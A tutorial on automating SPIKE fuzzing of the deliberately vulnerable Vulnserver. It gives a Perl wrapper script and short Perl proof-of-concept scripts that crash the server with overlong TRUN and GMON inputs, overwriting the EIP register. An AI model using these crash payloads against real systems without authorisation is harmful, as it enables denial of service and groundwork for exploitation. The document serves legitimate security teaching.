Automating the SPIKE Fuzzing of Vulnserver What we need is a way to send multiple SPIKES, one after the other, while recording enough detail for us to see what is being sent, and for our fuzzing process to stop when a crash is generated in the program. This will allow us to take note of the input that caused the crash (should one occur), and then to restart our program and start fuzzing once more, hopefully continuing on from where we left off. Luckily, with a few modifications to our fuzzing process, we can do just that. Here is a high level overview of how we will approach the rest of this fuzzing task.
We create .spk files for each of the messages that we want to fuzz. In this case, we will create .spk files for each supported command, such as STATS, RTIME, etc. We will also give these SPIKE scripts consecutive file names and add some extra commands into the script so we get some additional terminal output from SPIKE.
We then create a wrapper program that will run each of the .spk files using the generic_send_tcp interpreter. Ideally, the wrapper program will allow us to start at any one of the provided SPIKE script files, and will stop and provide us some helpful information when generic_send_tcp starts sending to a closed socket (indicating that the program it is sending data to has failed).
With this basic framework setup, we can then repeat the following steps until we are finished fuzzing:
Start our program in the debugger and start a fresh packet capture in Wireshark
Run our wrapper program from the last place we left off, which will start running SPIKE scripts directed at our target program until it crashes.
When the wrapper program stops, we can check the status of the program in the debugger, the command line output from the wrapper program and the packet capture generated by Wireshark to determine what input caused the crash.
Once we identify the data that we think caused the crash, we can plug this into a skeleton exploit, which we will run against the target program to see if the crash can be easily reproduced.
Repeat until our fuzzing process is complete.
Lets start off by creating the appropriate SPIKE script files. Create a new directory on your Linux fuzzing system, and place the following text into “00help.spk” printf(“HELP 00help.spk : “); //print to terminal command and filename s_readline(); //print received line from server s_string(“HELP “); // send “HELP " to program s_string_variable(“COMMAND”); //send fuzzed string We have added a few new lines to this SPIKE file when compared to the last one we created. The printf command at the start is essentially just using the printf function from the C language to print some text to the terminal. This text will be used to identify the command that was being fuzzed at the time if the fuzzing process happens to halt on this script. We stick the command we are fuzzing and the filename of the script file in the text inside the brackets. The next new command, s_string adds a static string of “HELP ” to the SPIKE sent (take note of the space after HELP – that is important so that our fuzz string is separated from the HELP command by a space). The overall purpose of this script is to insert a fuzzed string into the parameter for the HELP command in Vulnserver, while providing us enough contextual data to see what is happening when we run it. We are going to use this basic template to create SPIKE scripts for each of the supported commands in Vulnserver, so we can fuzz each one. Consult the listing of supported commands that we obtained during the analysis stage to get the commands to add, and use consecutive numbering for the start of each file name, e.g. 01stats.spk, 02rtime.spk, 03ltime.spk. The consecutive file naming is there just so we can define the order in which the commands will be fuzzed when we create our wrapper program, and to give us a simple way to see where we are up to if the fuzzing process stops. In case you don’t remember the supported commands that we discovered during our protocol analysis session, here they are again. HELP STATS [stat_value] RTIME [rtime_value] LTIME [ltime_value] SRUN [srun_value] TRUN [trun_value] GMON [gmon_value] GDOG [gdog_value] KSTET [kstet_value] GTER [gter_value] HTER [hter_value] LTER [lter_value] KSTAN [lstan_value] EXIT As another example of how to generate SPIKE scripts to fuzz parameters for these commands, here is what my copy of the SPIKE script for the STATS command (01stats.spk) looks like. printf(“STATS 01stats.spk : “); //print to terminal command and filename s_readline(); //print received line from server s_string(“STATS “); // send “STATS " to program s_string_variable(“COMMAND”); //send fuzzed string Now create one of these for each of the other commands. When you are done, you should have the following files in your folder. For best results in following along with this guide, try and ensure that your SPIKE files for each of these supported commands are named consecutively in the same order as mine below. This is not because there is any inherent benefit in fuzzing the commands in this particular order, it’s just so that you get the same results as I do, at the same time. root@bt4r1vm:~/fuzzing# ls .spk 00help.spk 03ltime.spk 06gmon.spk 09gter.spk 12kstan.spk 01stats.spk 04srun.spk 07gdog.spk 10hter.spk 13exit.spk 02rtime.spk 05trun.spk 08kstet.spk 11lter.spk Now that we have our SPIKE script files, we need a wrapper program to easily run them with. Something like the following will suffice. #!/usr/bin/perl # Simple wrapper to run multiple .spk files using generic_send_tcp $spikese = ‘/pentest/fuzzers/spike/generic_send_tcp’; if ($ARGV[4] eq ‘’) { die(“Usage: $0 IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTRnn”); } $skipfiles = $ARGV[2]; @files = <.spk>; foreach $file (@files) { if (! $skipfiles) { if (system("$spikese $ARGV[0] $ARGV[1] $file $ARGV[3] $ARGV[4]”) ) { print “Stopped processing file $filen”; exit(0); } } else { $skipfiles–; } } This wrapper program will find each file with a filename ending in .spk in the present working directory, and will run generic_send_tcp using that file as an input script file and the values provided at the command line for the IP address, port and SKIPVAR and SKIPSTR variables. In addition, it will also allow you to provide a value for a variable SKIPFILE, unique to this wrapper script, which will let you skip over a certain number of .spk files in the current directory. Since the wrapper program will read the .spk files in the same order each time (assuming their file names stay the same), this will let you skip over commands/script files you have already fuzzed if you need to restart your session. If you are not using BackTrack for your Linux fuzzing system you will need to change the path to the generic_send_tcp command in the wrapper program to the location where this sits on your system. You will also need to make sure you have followed my instructions provided in the Requirements and System Setup section on how to modify SPIKE to terminate with a non zero return value when it cannot send to a socket. If this is not done generic_send_tcp will happily continue trying to send data to a closed session until it completes execution, and this wrapper program depends on it stopping when it can no longer send, so make sure you do this. Write the content above to fuzzer.pl on your Linux fuzzing system and mark the file as executable (chmod +x). Restart your packet capture in Wireshark (Capture menu-> Restart), clear any Display filters in Wireshark using the Clear button, and ensure Vulnserver is running in the debugger on our target system. Now we are ready to do some more fuzzing. To see how to use the wrapper program, run it with no parameters like so: root@bt4r1vm:~/fuzzing# ./fuzzer.pl Usage: ./fuzzer.pl IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR To start our fuzzing session against Vulnserver running on a system at IP address 192.168.56.101 port 9999, run the fuzzer.pl like so: root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 0 0 0 This should start running, spraying a large amount of data to the terminal. If you let this run for long enough you should eventually see the program terminate, ending with output something like the below. What that final line is telling you is that the wrapper script has stopped, while processing the SPIKE script file 05trun.spk. If you look at the lines leading up to our final line of output, you should also notice something missing – the Welcome message has not been printed to the terminal in response to a number of the SPIKES that were sent just before this terminated. Fuzzing Variable 0:200 TRUN 05trun.spk : Variablesize= 10000 Fuzzing Variable 0:201 TRUN 05trun.spk : Variablesize= 5000 Fuzzing Variable 0:202 Couldn’t tcp connect to target Stopped processing file 05trun.spk Scroll up in the terminal until you see the Welcome message. You should see it appear at the point where the terminal output looks something like the below. […SNIP…] Total Number of Strings is 681 Fuzzing Fuzzing Variable 0:0 TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help. Fuzzing Variable 0:1 TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help. Variablesize= 5004 Fuzzing Variable 0:2 TRUN 05trun.spk : Variablesize= 5005 Fuzzing Variable 0:3 TRUN 05trun.spk : Variablesize= 21 […SNIP…] You can see from the output above that the last time the Welcome message was printed to the terminal was just after the line “Fuzzing Variable 0:1” appeared. Apparently, after this particular fuzz string from the file 05trun.spk was sent to the application, it was no longer able to send a Welcome message. If you now check the debugger, you should see something like the following.
The debugger shows us that the program has experienced an access violation when executing [41414141], and that the EIP register is pointing to 41414141. We seem to have found a bug in the Vulnserver program, which based on the output shown in our terminal is associated with the TRUN command (you can see the TRUN text sprayed to the terminal in the output from fuzzer.pl, plus this is the command in the 05trun.spk file). How do we know what content was actually sent by the fuzzer to generate this crash though? To find out, we can check our Wireshark capture. Go to the Wireshark capture and select the last packet. Now open the Edit menu and select the Find Packet option. Select the Up radio button in the Direction section of the Find Packet window, and select the String radio button in the Find section and search for the string “Welcome”. This will allow us to find the last session in which the Welcome message was sent to the client system.
Hit Find, and on the first packet that is found right click and select Follow TCP Steam. You should then see something like the below.
A TRUN command, followed by a few other random characters and an extremely long string of “A” characters. If you use the pull down box at the bottom of the Follow TCP Stream window to show only the data sent from the target system (it should be highlighted in Blue), you should also note that while a Welcome message was sent, there was no other data – e.g. no response to the TRUN command.
Considering that the last Welcome message that was sent by the server was in this session, and that no reply was made to the TRUN command shown above, it looks like this TRUN command was the cause of the crash. (There is also a clue that points to this fact in the debugger output – did you spot it?) Use the pull down box at the bottom of the Follow TCP Stream window to show only the data sent from our fuzzing system (it’s in red), and use the Save As button to save this content to disk – I’m saving it to /tmp/trun-data.txt.
Now that we have a copy of the content that we think caused the crash, lets try just sending that data to the application, to see if the crash happens again. Vulnserver is currently not responding because of the previous crash we caused, so lets restart it to get it working again. In Ollydbg on your target system, use the Restart option in the Debug menu to restart Vulnserver, and then hit the F9 key (or Debug menu, Run or the Play button on the toolbar) to start it running again. Restart your Wireshark capture as well (Capture menu, Restart) and clear any Display filters in place (using the Clear button on the display filter toolbar). From looking at the content sent along with the TRUN command by SPIKE, it appeared to be just a long string of “A” characters with a few other characters tacked onto the start. Lets use sed on our Linux system to replace the A characters with nothing so we can clearly see what characters other than “A” are included in this message. root@bt4r1vm:~/fuzzing# sed ’s/A//g’ /tmp/trun-data.txt TRUN /.:/root@bt4r1vm:~/fuzzing# The text “TRUN /.:/” appears to be the only thing in this other than upper case “A” characters. (Here the following shell prompt is attached to the back of the characters from the trun-data.txt file, indicating that no newline character is included in the file) Lets now run the output from this sed command into the wc with the character counting option enabled (-m) to see how long this data is. root@bt4r1vm:~/fuzzing# sed ’s/A//g’ /tmp/trun-data.txt | wc -m 9 This data is 9 characters long. Now lets check the length of the whole file – including the “A” characters. root@bt4r1vm:~/fuzzing# wc -m /tmp/trun-data.txt 5009 /tmp/trun-data.txt The entire thing is 5009 characters long. Basically the string “TRUN /.:/” with 5000 “A” characters tacked onto the end. We can send this data to the program using the following bit of Perl code, which I have heavily commented so you can see what is going on. #!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq ‘’) { die(“Usage: $0 IP_ADDRESS PORTnn”); # help message shown if too few variables are provided } $baddata = “TRUN /.:/”; # sets variable $badata to “TRUN /.:/” $baddata .= “A” x 5000; # appends 5000 “A” characters to $baddata variable $socket = IO::Socket::INET->new( # creates a new socket Proto => “tcp”, PeerAddr => “$ARGV[0]”, # IP address - command line variable 1 PeerPort => “$ARGV[1]” # TCP port number - command line variable 2 ) or die “Cannot connect to $ARGV[0]:$ARGV[1]”; # error shown if socket connection cannot be established $socket->recv($serverdata, 1024); # receives 1024 bytes of data from socket to capture Welcome message print “$serverdata”; # prints out received data $socket->send($baddata); # sends data in $baddata over socket This code essentially stores the appropriate fuzz string in variable $baddata, sets up a TCP socket to the IP address and port specified on the command line, receives and prints the “Welcome” message via the socket, and sends the fuzz string to the server. Save this code into “trun.pl”, mark the file as executable (chmod +x trun.pl) and run it against your listening copy of Vulnserver. root@bt4r1vm:~/fuzzing# ./trun.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help. If you check the debugger on the target system, you should see the same access violation. We have found an input value that causes a bug in our application! As a very nice bonus, the input we sent has been used to control the value of a very important register in the CPU – the EIP (Extended Instruction Pointer) register. Notice how the EIP register contains the value 41414141?
Since the EIP is a 4 byte (32 bit) register, the value stored within – 41414141 (actually the hexadecimal number 0x41414141) is comprised of four individual 0x41 hex bytes. And what is the ASCII representation of 0x41? It’s an upper case “A” character. We can demonstrate this by using Perl to print out “x41”. root@bt4r1vm:~/fuzzing# perl -e ‘print “x41” . “n”’ A So four “A” characters somewhere within that big string of “A” characters we sent to the application has been used to set the value of this EIP register. I wont go into the details of why right now, but something like this is a very good sign if you are looking for exploitable bugs. (More details on exactly why this is a good thing will be provided in a future article – for now, you need to trust me). So now we have found our first bug in the program, we can continue fuzzing the rest of the input vectors we identified. Restart your Wireshark capture and Vulnserver in the debugger, and run our wrapper program like so, using the value 6 for the SKIPFILE variable. This will skip the first 6 SPIKE script files in our folder, which we have already fuzzed in our previous session, and will start from number 7, which in our case should be the file 06gmon.spk. root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 6 0 0 If you are keeping an eye on the debugger after kicking off this command, you will notice that a crash occurs almost immediately, yet SPIKE will keep running for a little while before it eventually stops. The last couple of lines of output in the terminal will look like the following: […SNIP…] GMON 06gmon.spk : Variablesize= 10000 Fuzzing Variable 0:201 GMON 06gmon.spk : Variablesize= 5000 Fuzzing Variable 0:202 Couldn’t tcp connect to target Stopped processing file 06gmon.spk Looks like one of the fuzzed inputs generated by the 06gmon.spk script has generated an error in the program. As before, if you want to scroll up in your terminal you will note that the “Welcome” message stopped being shown a while back. Go to your Wireshark capture and use the Edit menu, Find Packet option search upwards from the last packet for the string “Welcome”, as we did before, and Follow TCP Stream from that packet. You should notice something a little familiar. The content sent to the server that appears to have caused the crash is the GMON command… followed by a few other random characters and a long string of “A”s.
Lets take a copy of the previous Perl script we used to confirm the bug associated with the TRUN command, and modify it to do the same for the GMON command. (Just replace TRUN with GMON in the first line defining the $baddata variable). Take a copy of trun.pl, name it gmon.pl and confirm it contains the following text: #!/usr/bin/perl use IO::Socket; if ($ARGV[1] eq ‘’) { die(“Usage: $0 IP_ADDRESS PORTnn”); } $baddata = “GMON /.:/”; $baddata .= “A” x 5000; $socket = IO::Socket::INET->new( Proto => “tcp”, PeerAddr => “$ARGV[0]”, PeerPort => “$ARGV[1]” ) or die “Cannot connect to $ARGV[0]:$ARGV[1]”; $socket->recv($serverdata, 1024); print “$serverdata”; $socket->send($baddata); Mark this file as executable and run it against your instance of Vulnserver (ensure you restart it in the debugger first). root@bt4r1vm:~/fuzzing# ./gmon.pl 192.168.56.101 9999 Welcome to Vulnerable Server! Enter HELP for help. The crash should occur again. We have found another input value that triggers a bug in Vulnserver! At this point I will stop with the detailed discussion of this process, as I assume you most probably understand whats happening by now. I’d encourage you to continue on your own until you have fuzzed Vulnserver using each of the SPIKE scripts generated so far, and found the rest of the vulnerabilities in the program. Hopefully the examples provided so far are sufficient to demonstrate to you how this fuzzing process works, and you can work out how to continue on your own. As a summary, we essentially use our wrapper script to iterate through multiple SPIKE scripts in a defined order, and when these discover a bug in the application, we identify the input that triggered the bug, confirm it manually, then use our wrapper script to continue on with the next script. Conclusion This guide has demonstrated the process of fuzzing the Vulnserver application using SPIKE scripts to find potentially exploitable bugs. While we have used Vulnserver, an application deliberately written to be exploitable, as the fuzzing target, the general process we have used – where we analyse the commands supported by the program and the method used to communicate with it, and then use that knowledge to intelligently probe the program with bad data – should be applicable to a number of other applications. Future Vulnserver related articles will cover how we can actually make use of each of the the bugs that can be found using fuzzing to write a variety of different working exploits for Vulnserver. Before we finish this article, I will leave you with a few additional challenges to keep you occupied:
Use the fuzzing process described above to find the rest of the bugs in Vulnserver. There are at least 4 more, and each is subtly different from the others.
Can you work out what data specifically needs to be sent to the Vulnserver application in order to trigger each of the discovered bugs? Will a long string of only “A” characters after the associated command trigger it? How long does the string have to be exactly (does it have to be 5000 characters, or can it be shorter?) Will another character, instead of all “A”s work instead? Once you find an input vector that causes a crash, playing around with the specific data that you send to it can sometimes change the nature of the crash that results, and some manual attention at this stage can sometimes turn what looks like a non exploitable bug into an exploitable one. Spending some time trying to reproduce the exact strings that will cause these bugs to be triggered may also give you a new appreciation for how well chosen the fuzz strings in SPIKE actually are.
The process I have followed above utilises some degree of automation, but there is still a lot of manual work involved – restarting the debugged application, performing seperate monitoring so we can determine the input values that triggered the bug, restarting the fuzzing process after it finds a bug, etc. Can we automate this process further? You may want to take a look at the Python based Sulley fuzzing framework…
The bug associated with the GMON command that we discovered earlier does not overwrite the EIP register with data that we control. Do you think this bug is exploitable? If you want a hint, read up on Structured Exception Handlers (SEH) in Windows. Part of successful fuzzing involves being able to recognise which bugs may be exploitable, however being able to do that requires that you actually be able to write exploits – you never truly know if a bug is exploitable until you exploit it. Check back for future guides on Vulnserver to learn more…
